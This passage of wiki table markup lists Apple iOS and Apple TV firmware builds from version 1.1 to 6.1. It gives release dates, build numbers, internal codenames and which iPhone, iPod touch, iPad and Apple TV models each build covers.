| [[Snowbird 3A101a (iPod touch)|1.1]]
|-
| rowspan="2" | 27 Sep 2007
! style="text-align:left;" | 3A109a
| [[Snowbird 3A109a (iPhone)|1.1.1]]
| {{n/a}}
|-
! style="text-align:left;" | 3A110a
| {{n/a}}
| [[Snowbird 3A110a (iPod touch)|1.1.1]]
|-
| 12 Nov 2007
! style="text-align:left;" | 3B48b
| [[Oktoberfest 3B48b (iPhone)|1.1.2]]
| [[Oktoberfest 3B48b (iPod touch)|1.1.2]]
|-
| 15 Jan 2008
! style="text-align:left;" | 4A93
| [[Little Bear 4A93 (iPhone)|1.1.3]]
| [[Little Bear 4A93 (iPod touch)|1.1.3]]
|-
| 26 Feb 2008
! style="text-align:left;" | 4A102
| [[Little Bear 4A102 (iPhone)|1.1.4]]
| [[Little Bear 4A102 (iPod touch)|1.1.4]]
|-
| 14 Jul 2008
! style="text-align:left;" | 4B1
| {{n/a}}
| [[Little Bear 4B1 (iPod touch)|1.1.5]]
|}

==== 2.x ====
{| class="wikitable"
|-
! rowspan="2" | Date
! rowspan="2" | Build
! colspan="2" | [[iPhone]]
! colspan="2" | [[iPod touch]]
|-
! [[m68ap|2G]]
! [[n82ap|3G]]
! [[n45ap|1G]]
! [[n72ap|2G]]
|-
| rowspan="2" | 11 Jul 2008
! style="text-align:left;" | 5A345
| {{n/a}}
| [[Big Bear 5A345 (iPhone 3G)|2.0]]
| {{n/a}}
| rowspan="6" {{n/a}}
|-
! style="text-align:left;" | 5A347
| [[Big Bear 5A347 (iPhone)|2.0]]
| [[Big Bear 5A347 (iPhone 3G)|2.0]]
| class="rborderplz" | [[Big Bear 5A347 (iPod touch)|2.0]]
|-
| 4 Aug 2008
! style="text-align:left;" | 5B108
| [[Big Bear 5B108 (iPhone)|2.0.1]]
| [[Big Bear 5B108 (iPhone 3G)|2.0.1]]
| class="rborderplz" | [[Big Bear 5B108 (iPod touch)|2.0.1]]
|-
| 18 Aug 2008
! style="text-align:left;" | 5C1
| [[Big Bear 5C1 (iPhone)|2.0.2]]
| [[Big Bear 5C1 (iPhone 3G)|2.0.2]]
| class="rborderplz" | [[Big Bear 5C1 (iPod touch)|2.0.2]]
|-
| 12 Sep 2008
! style="text-align:left;" | 5F136
| [[Sugar Bowl 5F136 (iPhone)|2.1]]
| [[Sugar Bowl 5F136 (iPhone 3G)|2.1]]
| {{n/a|class=rborderplz}}
|-
| rowspan="2" | 9 Sep 2008
! style="text-align:left;" | 5F137
| colspan="2" {{n/a}}
| class="rborderplz" | [[Sugar Bowl 5F137 (iPod touch)|2.1]]
|-
! style="text-align:left;" | 5F138
| colspan="3" {{n/a}}
| [[Sugar Bowl 5F138 (iPod touch 2G)|2.1.1]]
|-
| rowspan="2" | 21 Nov 2008
! style="text-align:left;" | 5G77
| [[Timberline 5G77 (iPhone)|2.2]]
| [[Timberline 5G77 (iPhone 3G)|2.2]]
| [[Timberline 5G77 (iPod touch)|2.2]]
| {{n/a}}
|-
! style="text-align:left;" | 5G77a
| colspan="3" {{n/a}}
| [[Timberline 5G77a (iPod touch 2G)|2.2]]
|-
| class="nobborderplz" rowspan="2" | 27 Jan 2009
! style="text-align:left;" | 5H11
| [[SUTimberline 5H11 (iPhone)|2.2.1]]
| [[SUTimberline 5H11 (iPhone 3G)|2.2.1]]
| [[SUTimberline 5H11 (iPod touch)|2.2.1]]
| {{n/a}}
|-
! style="text-align:left;" | 5H11a
| colspan="3" {{n/a}}
| [[SUTimberline 5H11a (iPod touch 2G)|2.2.1]]
|}

==== 3.x ====
{| class="wikitable"
|-
! rowspan="2" | Date
! rowspan="2" | Build
! [[iPad]]
! colspan="3" | [[iPhone]]
! colspan="3" | [[iPod touch]]
|-
! [[k48ap|1G]]
! [[m68ap|2G]]
! [[n82ap|3G]]
! [[n88ap|3GS]]
! [[n45ap|1G]]
! [[n72ap|2G]]
! [[n18ap|3G]]
|-
| 17 Jun 2009
! style="text-align:left;" | 7A341
| rowspan="3" {{n/a}}
| [[Kirkwood 7A341 (iPhone)|3.0]]
| [[Kirkwood 7A341 (iPhone 3G)|3.0]]
| [[Kirkwood 7A341 (iPhone 3GS)|3.0]]
| [[Kirkwood 7A341 (iPod touch)|3.0]]
| [[Kirkwood 7A341 (iPod touch 2G)|3.0]]
| {{n/a}}
|-
| 31 Jul 2009
! style="text-align:left;" | 7A400
| [[Kirkwood 7A400 (iPhone)|3.0.1]]
| [[Kirkwood 7A400 (iPhone 3G)|3.0.1]]
| [[Kirkwood 7A400 (iPhone 3GS)|3.0.1]]
| colspan="3" rowspan="2" {{n/a}}
|-
| rowspan="2" | 9 Sep 2009
! style="text-align:left;" | 7C144
| [[Northstar 7C144 (iPhone)|3.1]]
| [[Northstar 7C144 (iPhone 3G)|3.1]]
| class="rborderplz" | [[Northstar 7C144 (iPhone 3GS)|3.1]]
|-
! style="text-align:left;" | 7C145
| colspan="4" {{n/a}}
| [[Northstar 7C145 (iPod touch)|3.1.1]]
| [[Northstar 7C145 (iPod touch 2G)|3.1.1]]
| [[Northstar 7C145 (iPod touch 3G)|3.1.1]]
|-
| 17 Sep 2009
! style="text-align:left;" | 7C146
| colspan="6" {{n/a}}
| [[Northstar 7C146 (iPod touch 3G)|3.1.1]]
|-
| 8 Oct 2009
! style="text-align:left;" | 7D11
| rowspan="2" {{n/a}}
| [[Northstar 7D11 (iPhone)|3.1.2]]
| [[Northstar 7D11 (iPhone 3G)|3.1.2]]
| [[Northstar 7D11 (iPhone 3GS)|3.1.2]]
| [[Northstar 7D11 (iPod touch)|3.1.2]]
| [[Northstar 7D11 (iPod touch 2G)|3.1.2]]
| [[Northstar 7D11 (iPod touch 3G)|3.1.2]]
|-
| 2 Feb 2010
! style="text-align:left;" | 7E18
| [[SUNorthstarTwo 7E18 (iPhone)|3.1.3]]
| [[SUNorthstarTwo 7E18 (iPhone 3G)|3.1.3]]
| [[SUNorthstarTwo 7E18 (iPhone 3GS)|3.1.3]]
| [[SUNorthstarTwo 7E18 (iPod touch)|3.1.3]]
| [[SUNorthstarTwo 7E18 (iPod touch 2G)|3.1.3]]
| [[SUNorthstarTwo 7E18 (iPod touch 3G)|3.1.3]]
|-
| 3 Apr 2010
! style="text-align:left;" | 7B367
| [[Wildcat 7B367 (iPad)|3.2]]
| colspan="6" rowspan="3" {{n/a|class=brradiusplz nobborderplz}}
|-
| 15 Jul 2010
! style="text-align:left;" | 7B405
| class="rborderplz" | [[Wildcat 7B405 (iPad)|3.2.1]]
|-
| 11 Aug 2010
! style="text-align:left;" | 7B500
| class="noradiusplz rborderplz" | [[Wildcat 7B500 (iPad)|3.2.2]]
|}

==== 4.x ====
{| class="wikitable"
|-
! rowspan="3" | Date
! rowspan="3" | Build
! [[Apple TV]]
! colspan="4" | [[iPad]]
! colspan="4" | [[iPhone]]
! colspan="3" | [[iPod touch]]
|-
! rowspan="2" | [[k66ap|2G]]
! rowspan="2" | [[k48ap|1G]]
! colspan="3" | [[iPad 2|2]]
! rowspan="2" | [[n82ap|3G]]
! rowspan="2" | [[n88ap|3GS]]
! colspan="2" | [[iPhone 4|4]]
! rowspan="2" | [[n72ap|2G]]
! rowspan="2" | [[n18ap|3G]]
! rowspan="2" | [[n81ap|4G]]
|-
! [[k93ap|Wi‑Fi]]
! [[k94ap|GSM]]
! [[k95ap|CDMA]]
! [[n90ap|GSM]]
! class="rborderplz" | [[n92ap|CDMA]]
|-
| 1 Sep 2010
! style="text-align:left;" | 8M89
| [[Mojave 8M89 (Apple TV 2G)|4.1]]
| colspan="11" {{n/a}}
|-
| 21 Jun 2010
! style="text-align:left;" | 8A293
| rowspan="4" colspan="5" {{n/a}}
| [[Apex 8A293 (iPhone 3G)|4.0]]
| [[Apex 8A293 (iPhone 3GS)|4.0]]
| [[Apex 8A293 (iPhone 4 GSM)|4.0]]
| {{n/a}}
| [[Apex 8A293 (iPod touch 2G)|4.0]]
| [[Apex 8A293 (iPod touch 3G)|4.0]]
| {{n/a}}
|-
| 15 Jul 2010
! style="text-align:left;" | 8A306
| [[Apex 8A306 (iPhone 3G)|4.0.1]]
| [[Apex 8A306 (iPhone 3GS)|4.0.1]]
| [[Apex 8A306 (iPhone 4 GSM)|4.0.1]]
| colspan="4" {{n/a}}
|-
| 11 Aug 2010
! style="text-align:left;" | 8A400
| [[Apex 8A400 (iPhone 3G)|4.0.2]]
| [[Apex 8A400 (iPhone 3GS)|4.0.2]]
| [[Apex 8A400 (iPhone 4 GSM)|4.0.2]]
| rowspan="2" {{n/a}}
| [[Apex 8A400 (iPod touch 2G)|4.0.2]]
| [[Apex 8A400 (iPod touch 3G)|4.0.2]]
| {{n/a}}
|-
| 8 Sep 2010
! style="text-align:left;" | 8B117
| [[Baker 8B117 (iPhone 3G)|4.1]]
| [[Baker 8B117 (iPhone 3GS)|4.1]]
| [[Baker 8B117 (iPhone 4 GSM)|4.1]]
| [[Baker 8B117 (iPod touch 2G)|4.1]]
| [[Baker 8B117 (iPod touch 3G)|4.1]]
| [[Baker 8B117 (iPod touch 4G)|4.1]]
|-
| 21 Sep 2010
! style="text-align:left;" | 8B118
| colspan="11" {{n/a}}
| [[Baker 8B118 (iPod touch 4G)|4.1]]
|-
| rowspan="2" | 22 Nov 2010
! style="text-align:left;" | 8C148
| {{n/a}}
| [[Jasper 8C148 (iPad)|4.2.1]]
| colspan="3" {{n/a}}
| [[Jasper 8C148 (iPhone 3G)|4.2.1]]
| {{n/a}}
| [[Jasper 8C148 (iPhone 4 GSM)|4.2.1]]
| {{n/a}}
| [[Jasper 8C148 (iPod touch 2G)|4.2.1]]
| [[Jasper 8C148 (iPod touch 3G)|4.2.1]]
| [[Jasper 8C148 (iPod touch 4G)|4.2.1]]
|-
! style="text-align:left;" | 8C148a
| colspan="6" {{n/a}}
| [[Jasper 8C148a (iPhone 3GS)|4.2.1]]
| colspan="5" {{n/a}}
|-
| 22 Nov 2010
! style="text-align:left;" | 8C150
| [[Jasper 8C150 (Apple TV 2G)|4.2]]
| rowspan="2" colspan="11" {{n/a}}
|-
| 14 Dec 2010
! style="text-align:left;" | 8C154
| class="rborderplz" | [[Jasper 8C154 (Apple TV 2G)|4.2.1]]
|-
| 7 Feb 2011
! style="text-align:left;" | 8E128
| class="nobborderplz" colspan="8" rowspan="6" {{n/a}}
| [[Phoenix 8E128 (iPhone 4 CDMA)|4.2.5]]
| class="nobborderplz" colspan="3" rowspan="6" {{n/a}}
|-
| 10 Feb 2011
! style="text-align:left;" | 8E200
| class="rborderplz" | [[Phoenix 8E200 (iPhone 4 CDMA)|4.2.6]]
|-
| 14 Apr 2011
! style="text-align:left;" | 8E303
| class="rborderplz" | [[Phoenix 8E303 (iPhone 4 CDMA)|4.2.7]]
|-
| 4 May 2011
! style="text-align:left;" | 8E401
| class="rborderplz" | [[Phoenix 8E401 (iPhone 4 CDMA)|4.2.8]]
|-
| 15 Jul 2011
! style="text-align:left;" | 8E501
| class="rborderplz" | [[Phoenix 8E501 (iPhone 4 CDMA)|4.2.9]]
|-
| 25 Jul 2011
! style="text-align:left;" | 8E600
| class="rborderplz" | [[Phoenix 8E600 (iPhone 4 CDMA)|4.2.10]]
|-
| rowspan="2" | 9 Mar 2011
! style="text-align:left;" | 8F190
| {{n/a}}
| [[Durango 8F190 (iPad)|4.3]]
| colspan="4" {{n/a}}
| [[Durango 8F190 (iPhone 3GS)|4.3]]
| [[Durango 8F190 (iPhone 4 GSM)|4.3]]
| colspan="2" {{n/a}}
| [[Durango 8F190 (iPod touch 3G)|4.3]]
| [[Durango 8F190 (iPod touch 4G)|4.3]]
|-
! style="text-align:left;" | 8F191
| colspan="2" {{n/a}}
| [[Durango 8F191 (iPad 2 Wi-Fi)|4.3]]
| [[Durango 8F191 (iPad 2 GSM)|4.3]]
| [[Durango 8F191 (iPad 2 CDMA)|4.3]]
| colspan="7" {{n/a}}
|-
| 11 Mar 2011
! style="text-align:left;" | 8F191m
| [[Durango 8F191m (Apple TV 2G)|4.3]]
| rowspan="4" colspan="11" {{n/a}}
|-
| 22 Mar 2011
! style="text-align:left;" | 8F202
| class="rborderplz" | [[DurangoTide 8F202 (Apple TV 2G)|4.3]]
|-
| 10 May 2011
! style="text-align:left;" | 8F305
| class="rborderplz" | [[DurangoTide 8F305 (Apple TV 2G)|4.3]]
|-
| 1 Aug 2011
! style="text-align:left;" | 8F455
| class="rborderplz" | [[DurangoTideCuba 8F455 (Apple TV 2G)|4.3]]
|-
| 25 Mar 2011
! style="text-align:left;" | 8G4
| rowspan="2" {{n/a}}
| [[Durango 8G4 (iPad)|4.3.1]]
| [[Durango 8G4 (iPad 2 Wi-Fi)|4.3.1]]
| [[Durango 8G4 (iPad 2 GSM)|4.3.1]]
| [[Durango 8G4 (iPad 2 CDMA)|4.3.1]]
| {{n/a}}
| [[Durango 8G4 (iPhone 3GS)|4.3.1]]
| [[Durango 8G4 (iPhone 4 GSM)|4.3.1]]
| colspan="2" rowspan="2" {{n/a}}
| [[Durango 8G4 (iPod touch 3G)|4.3.1]]
| [[Durango 8G4 (iPod touch 4G)|4.3.1]]
|-
| rowspan="2" | 14 Apr 2011
! style="text-align:left;" | 8H7
| [[Durango 8H7 (iPad)|4.3.2]]
| [[Durango 8H7 (iPad 2 Wi-Fi)|4.3.2]]
| [[Durango 8H7 (iPad 2 GSM)|4.3.2]]
| colspan="2" {{n/a}}
| [[Durango 8H7 (iPhone 3GS)|4.3.2]]
| [[Durango 8H7 (iPhone 4 GSM)|4.3.2]]
| [[Durango 8H7 (iPod touch 3G)|4.3.2]]
| [[Durango 8H7 (iPod touch 4G)|4.3.2]]
|-
! style="text-align:left;" | 8H8
| colspan="4" {{n/a}}
| [[Durango 8H8 (iPad 2 CDMA)|4.3.2]]
| colspan="7" {{n/a}}
|-
| rowspan="2" | 4 May 2011
! style="text-align:left;" | 8J2
| colspan="2" {{n/a}}
| [[Durango 8J2 (iPad 2 Wi-Fi)|4.3.3]]
| [[Durango 8J2 (iPad 2 GSM)|4.3.3]]
| [[Durango 8J2 (iPad 2 CDMA)|4.3.3]]
| {{n/a}}
| [[Durango 8J2 (iPhone 3GS)|4.3.3]]
| [[Durango 8J2 (iPhone 4 GSM)|4.3.3]]
| colspan="2" {{n/a}}
| [[Durango 8J2 (iPod touch 3G)|4.3.3]]
| [[Durango 8J2 (iPod touch 4G)|4.3.3]]
|-
! style="text-align:left;" | 8J3
| rowspan="3" {{n/a|class=nobborderplz}}
| [[Durango 8J3 (iPad)|4.3.3]]
| colspan="10" {{n/a}}
|-
| 15 Jul 2011
! style="text-align:left;" | 8K2
| [[Durango 8K2 (iPad)|4.3.4]]
| [[Durango 8K2 (iPad 2 Wi-Fi)|4.3.4]]
| [[Durango 8K2 (iPad 2 GSM)|4.3.4]]
| [[Durango 8K2 (iPad 2 CDMA)|4.3.4]]
| rowspan="2" {{n/a|class=nobborderplz}}
| [[Durango 8K2 (iPhone 3GS)|4.3.4]]
| [[Durango 8K2 (iPhone 4 GSM)|4.3.4]]
| colspan="2" rowspan="2" {{n/a|class=nobborderplz}}
| [[Durango 8K2 (iPod touch 3G)|4.3.4]]
| [[Durango 8K2 (iPod touch 4G)|4.3.4]]
|-
| 25 Jul 2011
! style="text-align:left;" | 8L1
| [[Durango 8L1 (iPad)|4.3.5]]
| [[Durango 8L1 (iPad 2 Wi-Fi)|4.3.5]]
| [[Durango 8L1 (iPad 2 GSM)|4.3.5]]
| [[Durango 8L1 (iPad 2 CDMA)|4.3.5]]
| [[Durango 8L1 (iPhone 3GS)|4.3.5]]
| [[Durango 8L1 (iPhone 4 GSM)|4.3.5]]
| [[Durango 8L1 (iPod touch 3G)|4.3.5]]
| [[Durango 8L1 (iPod touch 4G)|4.3.5]]
|}

==== 5.x ====
{| class="wikitable"
|-
! rowspan="3" | Date
! rowspan="3" | Build
! colspan="2" | [[Apple TV]]
! colspan="8" | [[iPad]]
! colspan="4" | [[iPhone]]
! colspan="2" | [[iPod touch]]
|-
! rowspan="2" | [[k66ap|2G]]
! rowspan="2" | [[j33ap|3G]]
! rowspan="2" | [[k48ap|1G]]
! colspan="4" | [[iPad 2|2]]
! colspan="3" | [[iPad 3|3]]
! rowspan="2" | [[n88ap|3GS]]
! colspan="2" | [[iPhone 4|4]]
! rowspan="2" | [[n94ap|4S]]
! rowspan="2" | [[n18ap|3G]]
! rowspan="2" | [[n81ap|4G]]
|-
! [[k93ap|Wi‑Fi]]
! [[k94ap|GSM]]
! [[k95ap|CDMA]]
! [[k93aap|Wi‑Fi (A)]]
! [[j1ap|Wi-Fi]]
! [[j2ap|CDMA]]
! [[j2aap|Global]]
! [[n90ap|GSM]]
! class="rborderplz" | [[n92ap|CDMA]]
|-
| rowspan="2" | 12 Oct 2011
! style="text-align:left;" | 9A334
| colspan="2" {{n/a}}
| [[Telluride 9A334 (iPad)|5.0]]
| [[Telluride 9A334 (iPad 2 Wi-Fi)|5.0]]
| [[Telluride 9A334 (iPad 2 GSM)|5.0]]
| [[Telluride 9A334 (iPad 2 CDMA)|5.0]]
| colspan="4" {{n/a}}
| [[Telluride 9A334 (iPhone 3GS)|5.0]]
| [[Telluride 9A334 (iPhone 4 GSM)|5.0]]
| [[Telluride 9A334 (iPhone 4 CDMA)|5.0]]
| [[Telluride 9A334 (iPhone 4S)|5.0]]
| [[Telluride 9A334 (iPod touch 3G)|5.0]]
| [[Telluride 9A334 (iPod touch 4G)|5.0]]
|-
! style="text-align:left;" | 9A334v
| [[Telluride 9A334v (Apple TV 2G)|4.4]]
| rowspan="3" colspan="15" {{n/a}}
|-
| 18 Oct 2011
! style="text-align:left;" | 9A335a
| class="rborderplz" | [[Telluride 9A335a (Apple TV 2G)|4.4.1]]
|-
| 2 Nov 2011
! style="text-align:left;" | 9A336a
| class="rborderplz" | [[Telluride 9A336a (Apple TV 2G)|4.4.2]]
|-
| 10 Nov 2011
! style="text-align:left;" | 9A405
| colspan="2" {{n/a}}
| [[Telluride 9A405 (iPad)|5.0.1]]
| [[Telluride 9A405 (iPad 2 Wi-Fi)|5.0.1]]
| [[Telluride 9A405 (iPad 2 GSM)|5.0.1]]
| [[Telluride 9A405 (iPad 2 CDMA)|5.0.1]]
| colspan="4" {{n/a}}
| [[Telluride 9A405 (iPhone 3GS)|5.0.1]]
| [[Telluride 9A405 (iPhone 4 GSM)|5.0.1]]
| [[Telluride 9A405 (iPhone 4 CDMA)|5.0.1]]
| [[Telluride 9A405 (iPhone 4S)|5.0.1]]
| [[Telluride_9A405 (iPod touch 3G)|5.0.1]]
| [[Telluride_9A405 (iPod touch 4G)|5.0.1]]
|-
| 17 Nov 2011
! style="text-align:left;" | 9A405l
| [[Telluride 9A405l (Apple TV 2G)|4.4.3]]
| colspan="15" {{n/a}}
|-
| rowspan="2" | 15 Dec 2011
! style="text-align:left;" | 9A406
| colspan="13" {{n/a}}
| [[Telluride 9A406 (iPhone 4S)|5.0.1]]
| colspan="2" {{n/a}}
|-
! style="text-align:left;" | 9A406a
| [[Telluride 9A406a (Apple TV 2G)|4.4.4]]
| colspan="15" {{n/a}}
|-
| rowspan="3" | 7 Mar 2012
! style="text-align:left;" | 9B176
| colspan="2" {{n/a}}
| [[Hoodoo 9B176 (iPad)|5.1]]
| [[Hoodoo 9B176 (iPad 2 Wi-Fi)|5.1]]
| [[Hoodoo 9B176 (iPad 2 GSM)|5.1]]
| [[Hoodoo 9B176 (iPad 2 CDMA)|5.1]]
| [[Hoodoo 9B176 (iPad 2 Wi-Fi Rev A)|5.1]]
| [[Hoodoo 9B176 (iPad 3 Wi-Fi)|5.1]]
| [[Hoodoo 9B176 (iPad 3 CDMA)|5.1]]
| [[Hoodoo 9B176 (iPad 3 Global)|5.1]]
| [[Hoodoo 9B176 (iPhone 3GS)|5.1]]
| [[Hoodoo 9B176 (iPhone 4 GSM)|5.1]]
| [[Hoodoo 9B176 (iPhone 4 CDMA)|5.1]]
| {{n/a}}
| [[Hoodoo 9B176 (iPod touch 3G)|5.1]]
| [[Hoodoo 9B176 (iPod touch 4G)|5.1]]
|-
! style="text-align:left;" | 9B179
| colspan="13" {{n/a}}
| [[Hoodoo 9B179 (iPhone 4S)|5.1]]
| colspan="2" {{n/a}}
|-
! style="text-align:left;" | 9B179b
| [[Hoodoo 9B179b (Apple TV 2G)|5.0]]
| [[Hoodoo 9B179b (Apple TV 3G)|5.0]]
| colspan="14" {{n/a}}
|-
| rowspan="2" | 10 May 2012
! style="text-align:left;" | 9B206
| colspan="2" {{n/a}}
| [[Hoodoo 9B206 (iPad)|5.1.1]]
| [[Hoodoo 9B206 (iPad 2 Wi-Fi)|5.1.1]]
| [[Hoodoo 9B206 (iPad 2 GSM)|5.1.1]]
| [[Hoodoo 9B206 (iPad 2 CDMA)|5.1.1]]
| [[Hoodoo 9B206 (iPad 2 Wi-Fi Rev A)|5.1.1]]
| [[Hoodoo 9B206 (iPad 3 Wi-Fi)|5.1.1]]
| [[Hoodoo 9B206 (iPad 3 CDMA)|5.1.1]]
| [[Hoodoo 9B206 (iPad 3 Global)|5.1.1]]
| [[Hoodoo 9B206 (iPhone 3GS)|5.1.1]]
| [[Hoodoo 9B206 (iPhone 4 GSM)|5.1.1]]
| [[Hoodoo 9B206 (iPhone 4 CDMA)|5.1.1]]
| [[Hoodoo 9B206 (iPhone 4S)|5.1.1]]
| [[Hoodoo_9B206 (iPod touch 3G)|5.1.1]]
| [[Hoodoo 9B206 (iPod touch 4G)|5.1.1]]
|-
! style="text-align:left;" | 9B206f
| [[Hoodoo 9B206f (Apple TV 2G)|5.0.1]]
| [[Hoodoo 9B206f (Apple TV 3G)|5.0.1]]
| colspan="14" {{n/a}}
|-
| 25 May 2012
! style="text-align:left;" | 9B208
| colspan="11" {{n/a}}
| [[Hoodoo 9B208 (iPhone 4 GSM)|5.1.1]]
| colspan="4" {{n/a}}
|-
| 5 Jun 2012
! style="text-align:left;" | 9B830
| [[HoodooTide 9B830 (Apple TV 2G)|5.0.2]]
| [[HoodooTide 9B830 (Apple TV 3G)|5.0.2]]
| colspan="14" {{n/a}}
|}

==== 6.x ====
{| class="wikitable"
|-
! rowspan="3" | Date
! rowspan="3" | Build
! colspan="3" | [[Apple TV]]
! colspan="10" | [[iPad]]
! colspan="3" | [[iPad mini]]
! colspan="7" | [[iPhone]]
! colspan="2" | [[iPod touch]]
|-
! rowspan="2" | [[k66ap|2G]]
! colspan="2" | [[Apple TV 3G|3G]]
! colspan="4" | [[iPad 2|2]]
! colspan="3" | [[iPad 3|3]]
! colspan="3" | [[iPad 4|4]]
! colspan="3" | [[iPad mini 1G|1G]]
! rowspan="2" | [[n88ap|3GS]]
! colspan="3" | [[iPhone 4|4]]
! rowspan="2" | [[n94ap|4S]]
! colspan="2" | [[iPhone 5|5]]
! rowspan="2" | [[n81ap|4G]]
! rowspan="2" | [[iPod touch 5G|5G]]
|-
! [[j33ap|Orig]]
! [[j33iap|Rev A]]
! [[k93ap|Wi‑Fi]]
! [[k94ap|GSM]]
! [[k95ap|CDMA]]
! [[k93aap|Wi‑Fi (A)]]
! [[j1ap|Wi‑Fi]]
! [[j2ap|CDMA]]
! [[j2aap|Global]]
! [[p101ap|Wi‑Fi]]
! [[p102ap|GSM]]
! [[p103ap|Global]]
! [[p105ap|Wi‑Fi]]
! [[p106ap|GSM]]
! [[p107ap|Global]]
! [[n90ap|GSM]]
! [[n90bap|GSM (A)]]
! [[n92ap|CDMA]]
! [[n41ap|GSM]]
! class="rborderplz" | [[n42ap|Global]]
|-
| rowspan="3" | 19 Sep 2012
! style="text-align:left;" | 10A403
| colspan="3" {{n/a}}
| [[Sundance 10A403 (iPad 2 Wi-Fi)|6.0]]
| [[Sundance 10A403 (iPad 2 GSM)|6.0]]
| [[Sundance 10A403 (iPad 2 CDMA)|6.0]]
| [[Sundance 10A403 (iPad 2 Wi-Fi Rev A)|6.0]]
| [[Sundance 10A403 (iPad 3 Wi-Fi)|6.0]]
| [[Sundance 10A403 (iPad 3 CDMA)|6.0]]
| [[Sundance 10A403 (iPad 3 Global)|6.0]]
| colspan="6" {{n/a}}
| [[Sundance 10A403 (iPhone 3GS)|6.0]]
| [[Sundance 10A403 (iPhone 4 GSM)|6.0]]
| [[Sundance 10A403 (iPhone 4 GSM Rev A)|6.0]]
| [[Sundance 10A403 (iPhone 4 CDMA)|6.0]]
| [[Sundance 10A403 (iPhone 4S)|6.0]]
| colspan="2" {{n/a}}
| [[Sundance 10A403 (iPod touch 4G)|6.0]]
| {{n/a}}
|-
! style="text-align:left;" | 10A405
| colspan="21" {{n/a}}
| [[Sundance 10A405 (iPhone 5 GSM)|6.0]]
| [[Sundance 10A405 (iPhone 5 Global)|6.0]]
| colspan="2" {{n/a}}
|-
! style="text-align:left;" rowspan="2" | 10A406
| colspan="24" {{n/a}}
| [[Sundance 10A406 (iPod touch 5G)|6.0]]
|-
| 30 Oct 2012
| colspan="13" {{n/a}}
| [[Sundance 10A406 (iPad mini 1G Wi-Fi)|6.0]]
| colspan="11" {{n/a}}
|-
| 24 Sep 2012
! style="text-align:left;" | 10A406e
| [[Sundance 10A406e (Apple TV 2G)|5.1]]
| [[Sundance 10A406e (Apple TV 3G)|5.1]]
| colspan="23" {{n/a}}
|-
| 30 Oct 2012
! style="text-align:left;" | 10A407
| colspan="10" {{n/a}}
| [[Sundance 10A407 (iPad 4 Wi-Fi)|6.0]]
| colspan="14" {{n/a}}
|-
| rowspan="2" | 1 Nov 2012
! style="text-align:left;" | 10A523
| colspan="3" {{n/a}}
| [[Sundance 10A523 (iPad 2 Wi-Fi)|6.0.1]]
| [[Sundance 10A523 (iPad 2 GSM)|6.0.1]]
| [[Sundance 10A523 (iPad 2 CDMA)|6.0.1]]
| [[Sundance 10A523 (iPad 2 Wi-Fi Rev A)|6.0.1]]
| [[Sundance 10A523 (iPad 3 Wi-Fi)|6.0.1]]
| [[Sundance 10A523 (iPad 3 GSM)|6.0.1]]
| [[Sundance 10A523 (iPad 3 CDMA)|6.0.1]]
| [[Sundance 10A523 (iPad 4 Wi-Fi)|6.0.1]]
| colspan="2" {{n/a}}
| [[Sundance 10A523 (iPad mini 1G Wi-Fi)|6.0.1]]
| colspan="2" {{n/a}}
| [[Sundance 10A523 (iPhone 3GS)|6.0.1]]
| [[Sundance 10A523 (iPhone 4 GSM)|6.0.1]]
| [[Sundance 10A523 (iPhone 4 GSM Rev A)|6.0.1]]
| [[Sundance 10A523 (iPhone 4 CDMA)|6.0.1]]
| [[Sundance 10A523 (iPhone 4S)|6.0.1]]
| colspan="2" {{n/a}}
| [[Sundance 10A523 (iPod touch 4G)|6.0.1]]
| [[Sundance 10A523 (iPod touch 5G)|6.0.1]]
|-
! style="text-align:left;" | 10A525
| colspan="21" {{n/a}}
| [[Sundance 10A525 (iPhone 5 GSM)|6.0.1]]
| [[Sundance 10A525 (iPhone 5 Global)|6.0.1]]
| colspan="2" {{n/a}}
|-
| 9 Nov 2012
! style="text-align:left;" | 10A8426
| colspan="11" {{n/a}}
| [[SundanceTaos 10A8426 (iPad 4 GSM)|6.0.1]]
| [[SundanceTaos 10A8426 (iPad 4 Global)|6.0.1]]
| {{n/a}}
| [[SundanceTaos 10A8426 (iPad mini 1G GSM)|6.0.1]]
| [[SundanceTaos 10A8426 (iPad mini 1G Global)|6.0.1]]
| colspan="9" {{n/a}}
|-
| 26 Nov 2012
! style="text-align:left;" | 10A831
| [[SundanceTide 10A831 (Apple TV 2G)|5.1.1]]
| [[SundanceTide 10A831 (Apple TV 3G)|5.1.1]]
| [[SundanceTide 10A831 (Apple TV 3G Rev A)|5.1.1]]
| colspan="22" {{n/a}}
|-
| rowspan="3" | 19 Dec 2012
! style="text-align:left;" | 10A550
| colspan="13" {{n/a}}
| [[Sundance 10A550 (iPad mini 1G Wi-Fi)|6.0.2]]
| colspan="11" {{n/a}}
|-
! style="text-align:left;" | 10A551
| colspan="21" {{n/a}}
| [[Sundance 10A551 (iPhone 5 GSM)|6.0.2]]
| [[Sundance 10A551 (iPhone 5 Global)|6.0.2]]
| colspan="2" {{n/a}}
|-
! style="text-align:left;" | 10A8550
| colspan="14" {{n/a}}
| [[SundanceTaos 10A8500 (iPad mini 1G GSM)|6.0.2]]
| [[SundanceTaos 10A8500 (iPad mini 1G Global)|6.0.2]]
| colspan="9" {{n/a}}
|-
| rowspan="5" | 28 Jan 2013
! style="text-align:left;" | 10B141
| colspan="3" {{n/a}}
| [[Brighton 10B141 (iPad 2 Wi-Fi)|6.1]]
| [[Brighton 10B141 (iPad 2 GSM)|6.1]]
| [[Brighton 10B141 (iPad 2 CDMA)|6.1]]
| [[Brighton 10B141 (iPad 2 Wi-Fi Rev A)|6.1]]
| [[Brighton 10B141 (iPad 3 Wi-Fi)|6.1]]
| [[Brighton 10B141 (iPad 3 CDMA)|6.1]]
| [[Brighton 10B141 (iPad 3 Global)|6.1]]
| [[Brighton 10B141 (iPad 4 Wi-Fi)|6.1]]
| [[Brighton 10B141 (iPad 4 GSM)|6.1]]
| [[Brighton 10B141 (iPad 4 Global)|6.1]]
| [[Brighton 10B141 (iPad mini 1G Wi-Fi)|6.1]]
| [[Brighton 10B141 (iPad mini 1G GSM)|6.1]]
| [[Brighton 10B141 (iPad mini 1G Global)|6.1]]
| [[Brighton 10B141 (iPhone 3GS)|6.1]]
| colspan="2" {{n/a}}
| [[Brighton 10B141 (iPhone 4 CDMA)|6.1]]
| colspan="4" {{n/a}}
| [[Brighton 10B141 (iPod touch 5G)|6.1]]
|-
! style="text-align:left;" | 10B142
| colspan="20" {{n/a}}
| [[Brighton 10B142 (iPhone 4S)|6.1]]
| colspan="7" {{n/a}}
|-
! style="text-align:left;" | 10B143
| colspan="21" {{n/a}}
| [[Brighton 10B143 (iPhone 5 GSM)|6.1]]
